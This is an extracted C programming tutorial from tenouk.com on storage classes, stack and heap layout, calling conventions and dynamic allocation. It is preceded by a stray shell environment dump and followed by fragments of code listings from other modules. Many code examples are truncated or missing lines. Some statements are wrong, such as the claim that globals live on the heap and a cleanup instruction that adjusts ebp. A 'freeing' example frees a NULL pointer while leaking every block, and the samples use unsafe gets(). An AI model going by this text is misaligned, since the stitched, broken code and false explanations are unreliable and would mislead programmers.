LS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05
;37;41:mi=01;05;37;41:ex=00;32:*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm=00;32:*.bat=00;32
:*.sh=00;32:*.csh=00;32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=
00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=
00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;35:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:
KDEDIR=/usr
MAIL=/var/spool/mail/bodo
PATH=/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/bodo/bin
INPUTRC=/etc/inputrc
PWD=/home/bodo
LANG=en_US.UTF-8
SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass
SHLVL=1
HOME=/home/bodo
LOGNAME=bodo
SSH_CONNECTION=::ffff:203.106.94.71 4136 ::ffff:203.106.94.94 22
LESSOPEN=|/usr/bin/lesspipe.sh %s
G_BROKEN_FILENAMES=1
_=./cmdline
-----------------------------------o0o -----------------------------------
---www.tenouk.com---
Page 13 of 13
MODULE Z
THE C STORAGE CLASSES, SCOPE
AND MEMORY ALLOCATION
Note: gcc compilation examples are given at the end of this Module.
Abilities:
▪ Understand and use the auto, register, extern and static keywords.
▪ Understand the basic of the process address space.
▪ Understand and appreciate the static, automatic and dynamic memory allocations.
▪ Understand how the memory is laid out for a running process.
▪ Understand and use the malloc(), calloc(), realloc() and free() functions.
Z.1 INTRODUCTION
- The storage class determines the part of memory where storage is allocated for an object (particularly
variables and functions) and how long the storage allocation continues to exist.
- A scope specifies the part of the program which a variable name is visible, that is the accessibility of
the variable by its name. In C program, there are four storage classes: automatic, register, external, and
static.
- Keep in mind that in the hardware terms we have primary storage such as registers, cache, memory
(Random Access Memory) and secondary storage such as magnetic and optical disk.
- They are declared at the start of a program’s block such as the curly braces ( { } ). Memory is
allocated automatically upon entry to a block and freed automatically upon exit from the block.
- The scope of automatic variables is local to the block in which they are declared, including any blocks
nested within that block. For these reasons, they are also called local variables.
- No block outside the defining block may have direct access to automatic variables (by variable name)
but, they may be accessed indirectly by other blocks and/or functions using pointers.
- Automatic variables may be specified upon declaration to be of storage class auto. However, it is not
required to use the keyword auto because by default, storage class within a block is auto.
- Automatic variables declared with initializers are initialized every time the block in which they are
declared is entered or accessed.
- Automatic variables are allocated storage in the main memory of the computer; however, for most
computers, accessing data in memory is considerably slower than processing directly in the CPU.
- Registers are memory located within the CPU itself where data can be stored and accessed quickly.
Normally, the compiler determines what data is to be stored in the registers of the CPU at what times.
- However, the C language provides the storage class register so that the programmer can suggest to
the compiler that particular automatic variables should be allocated to CPU registers, if possible and it
is not an obligation for the CPU.
- Thus, register variables provide a certain control over efficiency of program execution.
- Variables which are used repeatedly or whose access times are critical may be declared to be of storage
class register.
- Variables can be declared register as follows:
- All variables we have seen so far have had limited scope (the block in which they are declared) and
limited lifetimes (as for automatic variables).
- However, in some applications it may be useful to have data which is accessible from within any block
and/or which remains in existence for the entire execution of the program. Such variables are called
global variables, and the C language provides storage classes which can meet these requirements;
namely, the external (extern) and static (static) classes.
www.tenouk.com Page 1 of 19
- Declaration for external variable is as follows:
- External variables may be declared outside any function block in a source code file the same way any
other variable is declared; by specifying its type and name (extern keyword may be omitted).
- Typically if declared and defined at the beginning of a source file, the extern keyword can be
omitted. If the program is in several source files, and a variable is defined in let say file1.c and
used in file2.c and file3.c then the extern keyword must be used in file2.c and
file3.c.
- But, usual practice is to collect extern declarations of variables and functions in a separate header
file (.h file) then included by using #include.
- Memory for such variables is allocated when the program begins execution, and remains allocated until
the program terminates. For most C implementations, every byte of memory allocated for an external
variable is initialized to zero.
- The scope of external variables is global, i.e. the entire source code in the file following the
declarations. All functions following the declaration may access the external variable by using its
name. However, if a local variable having the same name is declared within a function, references to
the name will access the local variable cell.
- The following program example demonstrates storage classes and scope.
void funct1(void);
void funct2(void);
int main()
{
printf("\n****storage classes and scope****\n");
/*external variable*/
globvar = 20;
void funct1(void)
{
/*auto variable, scope local to funct1() and funct1()
cannot access the external globvar*/
char globvar;
void funct2(void)
{
/*auto variable, scope local to funct2(), and funct2()
cannot access the external globvar2*/
double globvar2;
/*external variable*/
globvar = 50;
/*auto local variable to funct2()*/
globvar2 = 1.234;
printf("\nIn funct2(), globvar = %d and globvar2 = %.4f\n", globvar, globvar2);
}
www.tenouk.com Page 2 of 19
Output:
- External variables may be initialized in declarations just as automatic variables; however, the
initializers must be constant expressions. The initialization is done only once at compile time, i.e. when
memory is allocated for the variables.
- In general, it is a good programming practice to avoid use of external variables as they destroy the
concept of a function as a 'black box'.
- The black box concept is essential to the development of a modular program with modules. With an
external variable, any function in the program can access and alter the variable, thus making debugging
more difficult as well. This is not to say that external variables should never be used.
- There may be occasions when the use of an external variable significantly simplifies the
implementation of an algorithm. Suffice it to say that external variables should be used rarely and with
caution.
- As we have seen, external variables have global scope across the entire program (provided extern
declarations are used in files other than where the variable is defined), and have a lifetime over the
entire program run.
- Similarly, static storage class provides a lifetime over the entire program, however; it provides a way to
limit the scope of such variables, and static storage class is declared with the keyword static as the
class specifier when the variable is defined.
- These variables are automatically initialized to zero upon memory allocation just as external variables
are. Static storage class can be specified for automatic as well as external variables such as:
- Static automatic variables continue to exist even after the block in which they are defined terminates.
Thus, the value of a static variable in a function is retained between repeated function calls to the same
function.
- The scope of static automatic variables is identical to that of automatic variables, i.e. it is local to the
block in which it is defined; however, the storage allocated becomes permanent for the duration of the
program.
- Static variables may be initialized in their declarations; however, the initializers must be constant
expressions, and initialization is done only once at compile time when memory is allocated for the
static variable.
void sum_up(void);
int main()
{
int count;
printf("\n*****static storage*****\n");
printf("Key in 3 numbers to be summed ");
for(count = 0; count < MAXNUM; count++)
sum_up();
printf("\n*****COMPLETED*****\n");
www.tenouk.com Page 3 of 19
return 0;
}
void sum_up(void)
{
/*At compile time, sum is initialized to 0*/
static int sum = 0;
int num;
Output:
- While the static variable, sum, would be automatically initialized to zero, it is better to do so explicitly.
- In any case, the initialization is performed only once at the time of memory allocation by the compiler.
The variable sum retains its value during program execution.
- Each time the sum_up() function is called sum is incremented by the next integer read. To see the
different you can remove the static keyword, recompile and rerun the program.
- In the previous section we have described the storage classes which determined how memory for
variables is allocated by the compiler.
- When a variable is defined in the source program, the type of the variable determines how much
memory the compiler allocates.
- When the program executes, the variable consumes this amount of memory regardless of whether the
program actually uses the memory allocated. This is particularly true for arrays.
- However, in many situations, it is not clear how much memory the program will actually need. For
example, we may have declared arrays to be large enough to hold the maximum number of elements
we expect our application to handle.
- If too much memory is allocated and then not used, there is a waste of memory. If not enough memory
is allocated, the program is not able to fully handle the input data.
- We can make our program more flexible if, during execution, it could allocate initial and additional
memory when needed and free up the memory when it is no more needed.
- Allocation of memory during execution is called dynamic memory allocation. C provides library
functions to allocate and free memory dynamically during program execution. Dynamic memory is
allocated on the heap by the system.
- It is important to realize that dynamic memory allocation also has limits. If memory is repeatedly
allocated, eventually the system will run out of memory.
- A running program is called a process and when a program is run, its executable image is loaded into
memory, normally called a process address space in an organized manner.
www.tenouk.com Page 4 of 19
- This is a physical memory space and do not confuse yourself with the virtual address space explained
in Module W.
- Process address space is organized into three areas of memory, called segments: the text segment, stack
segment, and data segment (bss and data) and can be illustrated below.
Figure: z.1
- The text segment (also called a code segment) is where the compiled code of the program itself resides.
- The following Table summarized the segments in the memory address space layout as illustrated in the
previous Figure.
Segment Description
Often referred to as the text segment, this is the area in which the
executable instructions reside. For example, Linux/Unix arranges things
Code - text so that multiple running instances of the same program share their code if
segment possible. Only one copy of the instructions for the same program resides
in memory at any time. The portion of the executable file containing the
text segment is the text section.
Statically allocated and global data that are initialized with nonzero values
Initialized data – live in the data segment. Each process running the same program has its
data segment own data segment. The portion of the executable file containing the data
segment is the data section.
BSS stands for ‘Block Started by Symbol’. Global and statically allocated
data that initialized to zero by default are kept in what is called the BSS
Uninitialized area of the process. Each process running the same program has its own
data – bss BSS area. When running, the BSS data are placed in the data segment. In
segment the executable file, they are stored in the BSS section. For Linux/Unix the
format of an executable, only variables that are initialized to a nonzero
value occupy space in the executable’s disk file.
The heap is where dynamic memory (obtained by malloc(),
calloc(), realloc() and new – C++) comes from. Everything on a
heap is anonymous, thus you can only access parts of it through a pointer.
As memory is allocated on the heap, the process’s address space grows.
Although it is possible to give memory back to the system and shrink a
Heap process’s address space, this is almost never done because it will be
allocated to other process again. Freed memory (free() and delete –
C++) goes back to the heap, creating what is called holes. It is typical for
the heap to grow upward. This means that successive items that are added
to the heap are added at addresses that are numerically greater than
previous items. It is also typical for the heap to start immediately after the
www.tenouk.com Page 5 of 19
BSS area of the data segment. The end of the heap is marked by a pointer
known as the break. You cannot reference past the break. You can,
however, move the break pointer (via brk() and sbrk() system calls)
to a new position to increase the amount of heap memory available.
The stack segment is where local (automatic) variables are allocated. In C
program, local variables are all variables declared inside the opening left
curly brace of a function body including the main() or other left curly
brace that aren’t defined as static. The data is popped up or pushed into
the stack following the Last In First Out (LIFO) rule. The stack holds
local variables, temporary information, function parameters, return address
and the like. When a function is called, a stack frame (or a procedure
activation record) is created and PUSHed onto the top of the stack. This
Stack
stack frame contains information such as the address from which the
function was called and where to jump back to when the function is
finished (return address), parameters, local variables, and any other
information needed by the invoked function. The order of the information
may vary by system and compiler. When a function returns, the stack
frame is POPped from the stack. Typically the stack grows downward,
meaning that items deeper in the call chain are at numerically lower
addresses and toward the heap.
Table z.1
- In the disk file (object files) the segments were called sections.
- By using a C program, the segments can be illustrated below.
Figure z.2
- In C language memory allocation through the variables in C programs is supported by two kinds of
memory allocation as listed in the following Table.
www.tenouk.com Page 6 of 19
Memory Allocation
Description
Type
This allocation happens when you declare a static or global variable.
Each static or global variable defines one block of space, of a fixed
size. The space is allocated once, when your program is started, and is
Static allocation
never freed. In memory address space, for uninitialized variables are
stored in bss segment where as initialized variables stored in data
segment.
This allocation happens when you declare an automatic variable, such
as a function argument or a local variable. The space for an automatic
Automatic allocation variable is allocated when the compound statement containing the
declaration is entered, and is freed when that compound statement is
exited. As discussed before this allocation done in the stack segment.
Table z.2
- Dynamic allocation is not supported by C variables; there is no storage class called ‘dynamic’, and
there can never be a C variable whose value is stored in dynamically allocated space.
- The only way to refer to dynamically allocated space is through a pointer. Because it is less
convenient, and because the actual process of dynamic allocation requires more computation time,
programmers generally use dynamic allocation only when neither static nor automatic allocation will
serve.
- The dynamic allocation done by using functions and the memory used is heap area.
- The stack is where memory is allocated for automatic variables within functions. A stack is a Last In
First Out (LIFO) storage where new storage is allocated and de-allocated at only one end, called the top
of the stack. Every function call will create a stack (normally called stack frame) and when the
function exit, the stack frame will be destroyed.
- By referring the following program example and Figure z.3, when a program begins execution in the
function main(), stack frame is created, space is allocated on the stack for all variables declared
within main().
- Then, when main() calls a function, a(), new stack frame is created for the variables in a() at the
top of the main() stack. Any parameters passed by main() to a() are stored on the stack.
- If a() were to call any additional functions such as b() and c(), new stack frames would be
allocated at the new top of the stack. Notice that the order of the execution happened in the sequence.
- When c(), b() and a() return, storage for their local variables are de-allocated, the stack frames are
destroyed and the top of the stack returns to the previous condition. The order of the execution is in the
reverse.
- As can be seen, the memory allocated in the stack area is used and reused during program execution. It
should be clear that memory allocated in this area will contain garbage values left over from previous
usage.
#include <stdio.h>
int a();
int b();
int c();
int a()
{
b();
c();
return 0;
}
int b()
{ return 0; }
int c()
{ return 0; }
int main()
{
a();
return 0;
}
www.tenouk.com Page 7 of 19
- By taking just the stack area, the following Figure illustrates what happened to the stack when the
above program is run. At the end there should be equilibrium.
- It has been said before, for every function call there will be a creation of a stack frame. It is very useful
if we can study the operation of the function call and how the stack frame for function is constructed
and destroyed.
- For function call, compilers have some convention used for calling them. A convention is a way of
doing things that is standardized, but not a documented standard.
- For example, the C/C++ function calling convention tells the compiler things such as:
▪ The order in which function arguments are pushed onto the stack.
▪ Whether the caller function or called function (callee) responsibility to remove the arguments
from the stack at the end of the call that is the stack cleanup process.
▪ The name-decorating convention that the compiler uses to identify individual functions.
- Examples for calling conventions are __stdcall, __pascal, __cdecl and __fastcall (for
Microsoft Visual C++).
- The calling convention belongs to a function's signature, thus functions with different calling
convention are incompatible with each other.
- There is currently no standard for C/C++ naming between compiler vendors or even between different
versions of a compiler for function calling scheme.
- That is why if you link object files compiled with other compilers may not produce the same naming
scheme and thus causes unresolved externals. For Borland and Microsoft compilers you specify a
specific calling convention between the return type and the function's name as shown below.
- For the GNU GCC you use the __attribute__ keyword by writing the function definition followed
by the keyword __attribute__ and then state the calling convention in double parentheses as
shown below.
- As an example, Microsoft Visual C++ compiler has three function calling conventions used as listed in
the following table.
Stack
keyword Parameter passing
cleanup
Pushes parameters on the stack, in reverse order (right to left). Caller cleans
up the stack. This is the default calling convention for C language that
supports variadic functions (variable number of argument or type list such
__cdecl caller
as printf()) and also C++ programs. The cdecl calling convention
creates larger executables than __stdcall, because it requires each
function call to include stack cleanup code.
www.tenouk.com Page 8 of 19
Also known as __pascal. Pushes parameters on the stack, in reverse order
(right to left). Functions that use this calling convention require a function
__stdcall callee
prototype. Callee cleans up the stack. It is standard convention used in
Win32 API functions.
Parameters stored in registers, then pushed on stack. The fastcall calling
__fastcall callee convention specifies that arguments to functions are to be passed in
registers, when possible. Callee cleans up the stack.
- Basically, C function calls are made with the caller pushing some parameters onto the stack, calling the
function and then popping the stack to clean up those pushed arguments. For __cdecl assembly
example:
/*example of __cdecl*/
push arg1
push arg2
call function
add ebp, 12 ;stack cleanup
/*example of __stdcall*/
push arg1
push arg2
call function
/*No stack cleanup, it will be done by caller
- It is a long story if we want to go into the details of the function calls, but this section provides a good
introduction :o).
- The heap segment provides more stable storage of data for a program; memory allocated in the heap
remains in existence for the duration of a program.
- Therefore, global variables (external storage class), and static variables are allocated on the heap. The
memory allocated in the heap area, if initialized to zero at program start, remains zero until the program
makes use of it. Thus, the heap area need not contain garbage.
- In ANSI C (ISO/IEC C), there is a family of four functions which allow programs to dynamically
allocate memory on the heap.
- In order to use these functions you have to include the stdlib.h header file in your program. Table
z.4 summarized these functions.
- Keep in mind that there are other functions you will find for dynamic memory allocation, but they are
implementation dependant.
char * test;
test = (char *) malloc(10);
www.tenouk.com Page 9 of 19
int * test;
test = (int *) calloc(5, sizeof(int));
Another difference between malloc and calloc is that calloc initializes all its elements
to 0.
Defined type used as arguments for some functions that require sizes or
counts specifications. This represents an unsigned value generally defined in
size_t
header files as unsigned int or by using typedef, typedef
unsigned int size_t;
Table z.4
- In practice, one must always verify whether the pointer returned is NULL. If malloc() is successful,
objects in dynamically allocated memory can be accessed indirectly by dereferencing the pointer,
appropriately cast to the type of required pointer.
- The size of the memory to be allocated must be specified, in bytes, as an argument to malloc().
Since the memory required for different objects is implementation dependent, the best way to specify
the size is to use the sizeof operator. Recall that the sizeof operator returns the size, in bytes, of
the operand.
- For example, if the program requires memory allocation for an integer, then the size argument to
malloc() would be sizeof(int).
- However, in order for the pointer to access an integer object, the pointer returned by malloc() must
be cast to an int *.
- The typical code example may be in the following form:
int *theptr;
theptr = (int *)malloc(sizeof(int));
- Now, if the pointer returned by malloc() is not NULL, we can make use of it to access the memory
indirectly. For example:
if (theptr != NULL)
*theptr = 23;
- Or, simply:
if (theptr)
*theptr = 23;
printf("Value stored is %d\n", *theptr);
- Later, when the memory allocated above may no longer be needed we have to free up the memory
using:
free((void *) theptr);
www.tenouk.com Page 10 of 19
- This will de-allocate the previously allocated block of memory pointed to by theptr or simply, we
could write:
free(theptr);
- theptr is first converted to void * in accordance with the function prototype, and then the block of
memory pointed to by theptr is freed.
- It is possible to allocate a block of memory for several elements of the same type by giving the
appropriate value as an argument. Suppose, we wish to allocate memory for 200 float numbers. If
fptr is a:
float *
- Pointer fptr points to the beginning of the memory block allocated, that is the first object of the block
of 200 float objects, fptr + 1 points to the next float object, and so on.
- In other words, we have a pointer to an array of float type. The above approach can be used with data
of any type including structures.
- In C++ the equivalent construct used are new for memory allocation and delete for de-allocation.
- The following program example allocates memory using malloc(). In this program we cast the
void * to int type. There is no data stored in the memory requested; just an empty memory request
and we do not de-allocate the memory as well.
void main()
{
int x;
int *y;
/*do 100000 times iteration, 100000 blocks*/
for(x=0; x<100000; x++)
{
/*For every iteration/block, allocate 16K,
system will truncate to the nearest value*/
y = (int *)malloc(16384);
/*If no more memory*/
if(y == NULL)
{
puts("No more memory lol!");
/*exit peacefully*/
exit(0);
}
/*Allocate the memory block, print the block and the address*/
printf("Allocating-->block: %i address: %p\n", x, y);
}
/*Here, we do not free up the allocation*/
}
Output:
www.tenouk.com Page 11 of 19
- Eventually, at some point in the run, the program will stop because there is no more memory to be
allocated.
- During the program run, the paging or swapping activity will be obvious because system is serving the
memory request. For Windows there may be message box indicating your system having low virtual
memory. The worst case, your system may hang :o).
- The program uses the (int *) prototype to allocate 16,384 bytes (16K) of memory for every loop’s
iteration. malloc() returns the address of the memory block that successfully allocated.
- When malloc() returns NULL, it means no more memory could be allocated. The actual size of 16K
chunks the program allocates depends upon which memory module/model your compiler is using.
- The free() function de-allocates memory allocated by malloc() and every time you allocate
memory that’s not used again in a program; you should use the free() function to release that
memory to heap.
- The following program example de-allocates the memory for the previous program.
void main()
{
int x;
int *y;
int *buffer = NULL;
/*do 100 times iteration, 100 blocks*/
for(x=0; x<100; x++)
{
/*For every iteration/block, allocate 16K,
system will truncate to the nearest value*/
y = (int *)malloc(16384);
/*If there is a problem*/
if(y == NULL)
{
puts("No more memory for allocation lol!");
/*exit peacefully*/
exit(0);
}
/*Allocate the memory block, print the block and the address*/
printf("Allocating-->block: %i address: %p\n", x, y);
printf("---->Freeing the memory block: %i address: %p\n", x, y);
free((void *)buffer);
}
}
Output:
www.tenouk.com Page 12 of 19
- You’ll notice that the program runs all the way through, allocating memory and freeing it up so that
you really never run out of memory.
- free() actually doesn't erase memory; it merely flags a chunk of memory as available for re-
allocation by another malloc() function on the heap.
- The following program example demonstrates the use of malloc() and calloc() to allocate
memory for an array of integers.
- You should always verify if the return value from malloc() and calloc() are NULL or not
because the system may have run out of memory.
struct record{
char name[15];
int age;
int id_num;
};
int main()
{
struct record *ptr;
printf("\n--malloc() & struct--\n");
ptr = (struct record *)malloc((sizeof(struct record)));
if(ptr)
{
printf("\nStudent Name: ");
gets(ptr->name);
printf("Student Age: ");
scanf("%d", &ptr->age);
printf("Student Id: ");
scanf("%d", &ptr->id_num);
printf("\nStudent Name: %s", ptr->name);
printf("\nStudent Age: %d", ptr->age);
printf("\nStudent Id Number: %d\n", ptr->id_num);
free(ptr);
}
else
printf("\nMemory allocation fails!!!\n");
return 0;
}
Output:
www.tenouk.com Page 13 of 19
- Another malloc() and calloc() program example.
#define END 10
int main()
{
int *ptr1, *ptr2, *ptr3;
int i;
printf("---Using calloc()---\n");
printf("Array pointed by ptr2:\n");
for(i = 0; i < END; i++)
{
printf("%3d ", ptr2[i]);
}
printf("\n\n");
return 0;
}
www.tenouk.com Page 14 of 19
Output:
/*a struct*/
typedef struct book_type
{
int id;
char name[20];
float price;
}book;
int main(void)
{
int *aPtr = NULL, *bPtr = NULL, m = 0;
char *str = NULL;
book *bookPtr = NULL;
/*other way*/
/*get the number of elements from the user and then allocate*/
printf("\nEnter the size of integer array (bytes): ");
scanf("%d", &m);
www.tenouk.com Page 15 of 19
bPtr = (int *)calloc(m, sizeof(int));
if(bPtr == NULL)
{
printf("calloc for int fails lol!\n");
exit (0);
}
else
printf("memory allocation for int through calloc() is OK\n");
free(bPtr);
return 0;
}
Output:
#define INITIAL_SIZE 5;
int main()
{
int *Arr, *temp;
int limit, input, n = 0, r, i;
/*array loop*/
printf("Enter numbers, 1 per line. End with ctrl-D\n");
while(1)
{
printf("Next number: ");
r = scanf("%d", &input);
fflush(stdin);
www.tenouk.com Page 16 of 19
Arr[n] = input;
n++;
}
Arr = temp;
Output:
/*a struct*/
typedef struct book_type
{
int id;
char name[20];
float price;
}book;
int main(void)
{
int *aPtr = NULL, *bPtr = NULL, m = 0;
char *str = NULL;
book *bookPtr = NULL;
www.tenouk.com Page 17 of 19
/*create an int array of size 10*/
aPtr = (int *)calloc(n, sizeof(int));
/*do some verification*/
if(aPtr == NULL)
{
printf("calloc for integer fails lol!\n");
exit (0);
}
else
printf("memory allocation for int through calloc() is OK\n");
/*other way*/
/*get the number of elements from the user and then allocate*/
printf("\nEnter the size of integer array (bytes): ");
scanf("%d", &m);
bPtr = (int *)calloc(m, sizeof(int));
if(bPtr == NULL)
{
printf("calloc for int fails lol!\n");
exit (0);
}
else
printf("memory allocation for int through calloc() is OK\n");
free(bPtr);
return 0;
}
/****************malalloc.c***************************/
/************run on FeDora 3 Machine*********************/
/*Playing with malloc() and free(), memory on the heap*/
#include <stdio.h>
#include <stdlib.h>
int main()
{
int x;
int *y;
int *buffer = NULL;
/*do 100 times iteration, 100 blocks*/
for(x=0; x<100; x++)
www.tenouk.com Page 18 of 19
{
/*For every iteration/block, allocate 16K,
system will truncate to the nearest value*/
y = (int *)malloc(16384);
/*If there is a problem*/
if(y == NULL)
{
puts("No more memory for allocation lol!");
/*exit peacefully*/
exit(0);
}
else
{
/*Allocate the memory block, print the block and the address*/
printf("Allocating-->block: %i address: %p\n", x, y);
free((void *)buffer);
printf("---->Freeing the memory block: %i address: %p\n", x, y);
}
}
return 0;
}
-----------------------------------o0o -----------------------------------
www.tenouk.com Page 19 of 19
file:///C|/Tutorial.txt
===============================Module1=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================
#include <stdio.h>
int main()
{
return 0;
}
-----------------------------------------------------------
-----------------------------------------------------------------
-----------------------------------------------------------------
-----------------------------------------------------------------
---------------------------------------------------------------------------------
------------------------------------------------------------------------------------
//for system()
//#include <cstdlib>
//using namespace std;
#include <iostream.h>
//for system()
#include <stdlib.h>
int main(void)
{
//normal variable and array with their respective data type
char name[11], name1[11], sex;
system("pause");
return 0;
}
-----------------------------------------------------------------------------------
#include <stdio.h>
int main()
{
/*normal variable and array with their respective data type*/
char sex, name[11], name1[11];
return 0;
}
---------------------------------------------------------------------------------------
int main()
{
/*variable named x and floating-point data type*/
float x;
/*standard output*/
printf("\nEnter one positive number (1, 2, 3. . .): ");
/*standard input*/
scanf("%f", &x);
return 0;
}
----------------------------------------------------------------------------------
/*main() function…*/
int main( )
{
/*variables declaration*/
int x, y, z;
/*variables initialization*/
/*assign 20 to variable x…*/
/*print values*/
printf("\nx = x * y");
printf("\ny = y + y");
printf("\nNew value for x / y = %d", x / y);
z = 20 * y / x;
printf("\nz = 20 * (y / x) = %d\n", z);
system("pause");
return 0;
}
-------------------------------------------------------------------------------
int main(void)
{
//variables declaration
//variable names and type
float a, b, c;
//variables initialization
a = 2.0;
b = 5.0;
c = b / a;
c = c + (a/b);
------------------------------------------------------------------------------
int main(void)
{
float x, y, z;
system("pause");
return 0;
}
----------------------------------------------------------------------------
-------------------------------------------------------------------------
int main(void)
{
float x, y, z;
return 0;
}
------------------------------VC++/VC++ .Net--------------------------------
int main(void)
{
float x, y, z;
-------------------------------gcc------------------------------------------
/*main() function.*/
int main()
{
/*variables declaration*/
int x, y, z;
/*variables initialization*/
/*assign 20 to variable x.*/
printf("\nx = x * y");
printf("\ny = y + y");
printf("\nNew value for x / y = %d", x / y);
z = 20 * y / x;
return 0;
}
==============================MODULE2======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================
#include <iostream.h>
#include <stdlib.h>
//main() function
int main()
{
int a = 3000; //positive integer data type
float b = 4.5345; //float data type
char c = 'A'; //char data type
long d = 31456; //long positive integer data type
long e = -31456; //long -ve integer data type
int f = -145; //-ve integer data type
short g = 120; //short +ve integer data type
short h = -120; //short -ve integer data type
double i = 5.1234567890; //double float data type
float j = -3.24; //float data type
system("pause");
return 0;
}
-------------------------------------------------------------------------------------------------
//main( ) function
void main()
{
int p = 2000; //positive integer data type
short int q = -120; //variation
unsigned short int r = 121; //variation
float s = 21.566578; //float data type
char t = 'r'; //char data type
long u = 5678; //long positive integer data type
unsigned long v = 5678; //variation
long w = -5678; //-ve long integer data type
int x = -171; //-ve integer data type
short y = -71; //short -ve integer data type
unsigned short z = 99; //variation
double a = 88.12345; //double float data type
float b = -3.245823; //float data type
---------------------------------------------------------------------------------------------------------------
int main()
{
float area, circumference, radius;
-------------------------------------------------------------------------------------------------------
int main()
{
cout<<"Hello there.\n";
cout<<"Here is 7: "<<7<<"\n";
//other than escape sequence \n used for new line, endl...
cout<<"\nThe manipulator endl writes a new line to the screen.\n"<<endl;
cout<<"Here is a very big number:\t" << 10000 << endl;
cout<<"Here is the sum of 10 and 5:\t" << (10+5) << endl;
cout<<"Here's a fraction number:\t" << (float) 7/12 << endl;
//simple type casting, from int to float
cout<<"And a very very big number:\t" << (double) 7000 * 7000<< endl;
//another type casting, from int to double
cout<<"\nDon't forget to replace existing words with yours...\n";
cout<<"I want to be a programmer!\n";
system("pause");
return 0;
}
-----------------------------------------------------------------------------------------------------------
int main()
{
/* this is a comment
and it extends until the closing
star-slash comment mark */
/********************************/
system("pause");
return 0;
}
-----------------------------------------------------------------------------------------------------------------
int main()
{
cout<<"The size of an int is:\t\t"<<sizeof(int)<<" bytes.\n";
cout<<"The size of a short int is:\t"<<sizeof(short)<<" bytes.\n";
cout<<"The size of a long int is:\t"<<sizeof(long)<<" bytes.\n";
cout<<"The size of a char is:\t\t"<<sizeof(char)<<" bytes.\n";
cout<<"The size of a float is:\t\t"<<sizeof(float)<<" bytes.\n";
cout<<"The size of a double is:\t"<<sizeof(double)<<" bytes.\n";
cout<<"The size of a bool is:\t\t"<<sizeof(bool)<<" bytes.\n";
system("pause");
return 0;
}
-------------------------------------------------------------------------------------------------------------
int main()
{
unsigned short int Width = 7, Length;
Length = 10;
cout<<"Width:\t"<<Width<<"\n";
cout<<"Length: "<<Length<<endl;
cout<<"Area: \t"<<Area<<endl;
system("pause");
return 0;
}
-----------------------------------------------------------------------------------------------------------------
int main( )
{
int n;
int total, rate= 20;
total = n * rate;
cout<<"\n----------------------------";
cout<<"\n| For rate RM20 per day |";
cout<<"\n----------------------------";
cout<<"\n";
cout<<"\nFor "<<n<<" days of work, you have earned $ ";
cout<<total<<endl;
system("pause");
return 0;
}
------------------------------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
int main()
{
cout<<"For integer number from 32 till 127,\n";
cout<<"their representation for\n";
cout<<"characters is shown below\n\n";
cout<<"integer character\n";
cout<<"-------------------\n";
system("pause");
return 0;
}
-------------------------------------------------------------------------------------------------------------
int main()
{
bool val = false; // Boolean variable
int i = 1; // i is neither Boolean-true nor Boolean-false
int g = 5;
float j = 3.02; // j is neither Boolean-true nor Boolean-false
//Tests on integers
if(i == true)
cout<<"True: value i is 1"<<endl;
if(i == false)
cout<<"False: value i is 0"<<endl;
if(g)
cout << "g is true."<<endl;
else
cout << "g is false."<<endl;
if(val == false)
cout<<"func() returned false."<<endl;
if(val == true)
cout<<"func() returned true."<<endl;
system("pause");
